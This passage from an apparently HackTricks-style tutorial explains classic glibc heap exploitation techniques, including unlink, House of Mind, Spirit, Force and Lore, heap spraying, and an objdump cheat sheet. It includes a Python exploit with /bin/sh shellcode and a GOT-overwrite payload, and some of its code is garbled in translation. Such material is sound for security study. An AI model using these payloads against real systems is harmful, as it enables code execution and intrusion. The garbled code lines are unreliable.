FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
And so the shellcode is executed when exiting the program.
Also, the 4th statement of unlink() writes something and the shellcode has to be fixed for this:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> This causes 4 bytes to be written starting from the 8th byte of the shellcode, so the first statement of the shellcode should be a jmp to skip this and drop into some nops that lead to the rest of the shellcode.
Therefore the exploit is created:
In buffer1 we put the shellcode starting with a jmp so that it falls in the nops or in the rest of the shellcode.
After the shell code we put padding until we reach the field prev_size and size of the next chunk. In these places we put 0xfffffff0 (so that the prev_size is overwritten so that it has the bit that says it is free) and "-4" (0xfffffffc) in the size (so that when it checks in the 3rd chunk if the 2nd one was free will actually go to the modified prev_size which will tell you it's free) -> So when free() investigates it will go to the size of the 3rd but actually it will go to the 2nd - 4 and think the 2nd chunk is free. And then it will call unlink().
When calling unlink() it will use the first data of the 2nd chunk as P->fd, so the address you want to overwrite - 12 will be entered there (because in FD->bk it will add 12 to the address saved in FD). And in that address it will introduce the second address it finds in the 2nd chunk, which we will be interested in as the address to the shellcode(P->bk false).
from struct import *
import us
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #It is interesting that the bit that indicates that the previous chunk is free is at 1
fake_size = pack("<I”, 0xfffffffc) #-4, so that it thinks that the “size” of the 3rd chunk is 4bytes behind (it points to prev_size) since that is where it looks if the 2nd chunk is it's free
addr_sc = pack("<I", 0x0804a008 + 8) #In the payload at the beginning we are going to put 8bytes of padding
got_free = pack("<I", 0x08048300 - 12) #Address of free() in plt-12 (it will be the address that is overwritten so that the shellcode is launched the 2nd time that free is called )
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # As said the payload starts with 8 bytes of padding because yes
payload += prev_size + fake_size + got_free + addr_sc #The 2nd chunk is modified, the got_free points to where we are going to save the address addr_sc + 12
os.system("./8.3.o " + payload)
unset() releasing in reverse (wargame)
We are controlling 3 consecutive chunks and they are released in the reverse order of the reserved one.
Then:
The shellcode is put in chunck c
Chunck a is used to override chunck b so that the size has the PREV_INUSE bit turned off so it thinks that chunck a is free.
In addition, the size is overwritten in header b so that it is worth -4.
Then, the program will think that "a" is free and in a bin, so it will call unlink() to unlink it. However, since the PREV_SIZE header is set to -4. It will be thought that the piece of “a” really starts at b+4. That is, it will do an unlink() to a chunk that starts at b+4, so at b+12 will be the pointer “fd” and at b+16 will be the pointer “bk”.
In this way, if in bk we put the address to the shellcode and in fd we put the address to the function “puts()”-12 we have our payload.
Frontlink Technique
frontlink is called when something is freed and none of its contiguous chunks are not free, unlink() is not called but frontlink() is called directly.
Useful vulnerability when the malloc being attacked is never freed (free()).
Needs:
A buffer that can be overflowed by the data entry function
A buffer next to this one that must be freed and whose header field fd will be modified thanks to the overflow of the previous buffer
A buffer to free with a size greater than 512 but smaller than the previous buffer
A buffer declared before step 3 that allows overriding the prev_size of this
In this way, managing to overscreen two mallocs in an uncontrolled way and one in a controlled way, but only releasing that one, we can make an exploit.
double free() vulnerability
If free() is called twice with the same pointer, two bins are left pointing to the same address.
In case you want to use one again, it would be assigned without problems. In case of wanting to use another, the same space would be assigned to it, so we would have the “fd” and “bk” pointers falsified with the data that the previous reservation will write.
After free()
A previously freed pointer is used again without control.
The Unlink() and FrontLink() techniques were removed by modifying the unlink() function.
The house of mind
Only one call to free() is necessary to cause execution of arbitrary code. It is interesting to find a second piece that can be overflowed by a previous one and released.
A call to free() causes a call to public_fREe(mem), it does:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(month); —> Returns a pointer to the address where the chunk starts (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] check the size field for the NON_MAIN_ARENA bit, which can be altered so that the check returns true and execute heap_for_ptr() which does an and to "mem" leaving the 2.5 to 0 least important bytes (in our case 0x0804a000 leaves 0x08000000) and accesses 0x08000000->ar_ptr (as if it were a struct heap_info)
In this way, if we can control a piece, for example, at 0x0804a000 and a piece is going to be freed at 0x081002a0, we can reach the address 0x08100000 and write what we want, for example 0x0804a000. When this second piece is released, it will be found that heap_for_ptr(ptr)->ar_ptr returns what we have written in 0x08100000 (because the and that we saw before is applied to 0x081002a0 and from there the value of the 4 is obtained first bytes, the ar_ptr)
This calls _int_free(ar_ptr, mem), that is, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(of);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
As we have seen before, we can control the value of av, since it is what we write in the chunk that is going to be freed.
As unsorted_chunks is defined, we know that:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Therefore if in av->bins[2] we write the value of __DTOR_END__-12 in the last instruction it will be written in __DTOR_END__ the address of the second piece.
That is, in the first chunk we have to put the address of __DTOR_END__-12 at the beginning many times because from there it will be taken by av->bins[2]
In the address that falls the address of the second chunk with the last 5 zeros, you have to write the address to this first chunk so that heap_for_ptr() thinks that the ar_ptr is at the beginning of the first chunk and takes the ar_ptr from there. av->bins[2]
In the second chunk and thanks to the first we overwrite the prev_size with a jump 0x0c and the size with something to activate -> NON_MAIN_ARENA
Then in chunk 2 we put a bunch of nops and finally the shellcode
This will call _int_free(HUB1, HUB2) and follow the instructions to write to __DTOR_END__ the address of the prev_size of HUB2 which will jump to the shellcode.
To apply this technique, it is necessary to meet some more requirements that complicate the payload a little more.
This technique is no longer applicable as almost the same patch was applied as for unlink. They are checked if the new site being pointed to is also pointing to it.
Fastbin
It is a variant of The house of mind
we are interested in executing the following code which is reached after the first check of the _int_free() function
fb = &(av->fastbins[fastbin_index(size)] —> Siendo fastbin_index(size) —> (size >> 3) - 2
…
p->fd = *fb
*fb = p
In this way, if the address of a function in the GOT is set to “fb”, the address of the overwritten chunk will be set to this address. For this it will be necessary that the arena be close to the addresses of dtors. More exactly that av->max_fast is in the address that we are going to override.
Since with The House of Mind it was seen that we controlled the position of the av.
So if in the size field we put a size of 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() will return fastbins[-1], which will point to av->max_fast
In this case av->max_fast will be the address that is overwritten (not the one it points to, but that position will be the one that is overwritten).
In addition, it must be fulfilled that the piece contiguous to the freed one must be greater than 8 -> Since we have said that the size of the freed piece is 8, in this false piece we only have to put a size greater than 8 (as the shellcode will also go in the freed piece, it will be necessary to put at the ppio a jmp that falls in nops).
Also, that same fake chunk must be less than av->system_mem. av->system_mem is 1848 bytes away.
Due to the nulls of _DTOR_END_ and the few addresses in the GOT, none of the addresses in these sections are good to be overwritten, so let's see how to apply fastbin to attack the stack.
Another form of attack is to redirect the av onto the stack.
If we change the size to 16 instead of 8 then: fastbin_index() will return fastbins[0] and we can use this to overwrite the stack.
For this there must not be any canary or rare values in the stack, in fact we have to find ourselves in this one: 4bytes null + EBP + RET
The 4 null bytes are needed for the av to be at this address and the first element of an av is the mutexe which has to be 0.
The av->max_fast will be the EBP and it will be a value that will help us to bypass the restrictions.
In the av->fastbins[0] it will be overwritten with the address of p and will be the RET, so it will skip to the shellcode.
Also, in av->system_mem (1484bytes above stack position) there will be enough garbage to allow us to skip the check being performed.
In addition, it must be fulfilled that the piece contiguous to the freed one must be greater than 8 -> Since we have said that the size of the freed piece is 16, in this false piece we only have to put a size greater than 8 (as the shellcode will also go in the released piece, it will be necessary to put a jmp that falls in nops that go after the size field of the new false piece).
The House of Spirit
In this case we want to have a pointer to a malloc that can be alterable by the attacker (for example, that the pointer is on the stack below a possible overflow to a variable).
So we could make this pointer point anywhere. However, not every place is valid, the size of the fake chunk must be less than av->max_fast and more specifically equal to the size requested in a future call to malloc()+8. Thus, if we know that malloc(40) is called after this vulnerable pointer, the size of the fake chunk must be equal to 48.
If, for example, the program asks the user for a number, we could enter 48 and point the modifiable malloc pointer to the next 4 bytes (which could hopefully belong to the EBP, so the 48 is left behind, as if it were the size header). In addition, the address ptr-4+48 must meet several conditions (in this case ptr=EBP), ie 8 < ptr-4+48 < av->system_mem.
If this is true, when the next malloc that we said was malloc(40) is called, the address of the EBP will be assigned as address. If the attacker can also control what is written to this malloc, he can overwrite both the EBP and the EIP with whatever address he wants.
I think this is because when free() frees it, it will save that at the address pointing to the EBP on the stack there is a perfectly sized chunk for the new malloc() you want to allocate, so it assigns that address to it.
The House of Force
It is necessary:
- An overflow to a piece that allows overwriting the wilderness
- A call to malloc() with the size defined by the user
- A call to malloc() whose data can be user defined
The first thing to do is override the size of the wilderness chunk with a very large value (0xffffffff), so any large enough memory requests will be dealt with in _int_malloc() without needing to expand the heap.
The second thing is to alter the av->top so that it points to a memory zone under the control of the attacker, like the stack. In av->top it will be put &EIP - 8.
We have to override av->top so that it points to the memory area under the control of the attacker:
victim = off->top;
remainder = chunck_at_offset(victim, nb);
off->top = remainder;
Victim gets the value of the address of the current wilderness chunk (the current av->top) and remainder is exactly the sum of that address plus the number of bytes requested by malloc(). So if &EIP-8 is at 0xbffff224 and av->top contains 0x080c2788, then the amount we have to allocate in the controlled malloc for av->top to point to $EIP-8 for the next malloc() will be :
0xbffff224 - 0x080c2788 = 3086207644.
This will save the altered value in av->top and the next malloc will point to the EIP and overwrite it.
It is important to know that the size of the new wilderness chunk is larger than the request made by the last malloc(). That is, if the wilderness is pointing to &EIP-8, the size will be right in the EBP field of the stack.
The House of Lore
SmallBin corruption
Freed chunks are fed into the bin based on their size. But before introducing you they are stored in unsorted bins. A chunk that is freed is not immediately binned but instead remains in unsorted bins. Then, if a new chunk is reserved and the old one freed can serve it, it is returned, but if a larger one is reserved, the freed chunk in unsorted bins is put into its proper bin.
To reach the vulnerable code, the memory request must be greater than av->max_fast (usually 72) and less than MIN_LARGE_SIZE (512).
If in the bins there is a piece of the appropriate size for what is requested, that piece is returned after unbinding it:
bck = victim->bk; It points to the previous piece, it is the only info that we can alter.
bin->bk = bck; The penultimate chunk becomes the last, in case bck points to the stack the next reserved chunk will be given this address
bck->fd = bin; The list is closed by making it point to bin
Needed:
Reserve two mallocs, so that the first one can be overflowed after the second one has been freed and binned (i.e., a larger malloc than the second chunk has been reserved before overflowing)
That the reserved malloc that is given the address chosen by the attacker is controlled by the attacker.
The objective is the following, if we can overflow a heap that has a chunk already freed below it and in its bin, we can alter its bk pointer. If we alter its bk pointer and this chunk becomes first in bin's list and is reserved, bin will be fooled into telling it that the last chunk in the list (next to offer) is at the fake address that we have put (to the stack or GOT for example). So if another chunk is reserved and the attacker has permissions on it, they will be given a chunk at the desired position and can write to it.
After freeing the modified chunk, it is necessary to reserve a larger chunk than the released one, so the modified chunk will come out of unsorted bins and enter your bin.
Once in your bin, it is time to modify the bk pointer through the overflow so that it points to the address that we want to overwrite.
So the bin will have to wait its turn for malloc() to be called enough times to reuse the modified bin and trick the bin into thinking that the next chunk is at the fake address. And then the piece that interests us will be given.
In order for the vulnerability to be executed as soon as possible, the ideal would be: Reservation of the vulnerable chunk, reservation of the chunk to be modified, this chunk is released, a larger chunk is reserved to which it will be modified, the chunk is modified (vulnerability), reserves a piece of equal size to the violated and a second piece of equal size is reserved and this will be the one that points to the chosen direction.
To protect this attack, the typical check that the “not” chunk is false was used: check if bck->fd is pointing to victim. That is, in our case if the fd* pointer of the fake chunk pointed to on the stack is pointing to victim. To bypass this protection the attacker would have to be able to write somehow (through the stack probably) to the proper address of the victim. So that it looks like a real chunk.
LargeBin corruption
The same requirements as before and some more are needed, in addition the reserved chunks must be greater than 512.
The attack is like the previous one, that is, you have to modify the bk pointer and you need all those calls to malloc(), but you also have to modify the size of the modified chunk so that size - nb is < MINSIZE.
For example, it will set size 1552 so that 1552 - 1544 = 8 < MINSIZE (the subtraction cannot be negative because an unsigned is compared)
In addition, a patch has been introduced to make it even more complicated.
Heap Spraying
It basically consists of reserving as much memory as possible for heaps and filling them with a mattress of nops finished by a shellcode. In addition, 0x0c is used as a buffer. Well, it will try to jump to address 0x0c0c0c0c, and so if any address that is going to be called with this buffer is overwritten, it will jump there. Basically the tactic is to reserve as many as possible to see if any pointers are overwritten and jump to 0x0c0c0c0c hoping there are nops there.
Heap Feng Shui
It consists of seeding the memory by means of reservations and releases so that there are reserved pieces in between free pieces. The buffer to overflow will be placed in one of the eggs.
objdump -d executable —> Disas functions
objdump -d ./PROGRAMA | grep FUNCION —> Get function address
objdump -d -Mintel ./shellcodeout —> To see what our shellcode is and get the OpCodes
objdump -t ./exec | grep varBss —> Table of symbols, to get addresses of variables and functions
objdump -TR ./exec | grep exit(func lib) —> To get addresses of library functions (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Get the address of puts to overwrite in the GOT
objdump -D ./exec —> Disses ALL up to plt\ entries
objdump -p -/exec
Info functions strncmp —> Info of the function in gdb
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.
.png)
%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(2).png)
.png)
%20(2).png)
.png)
.png)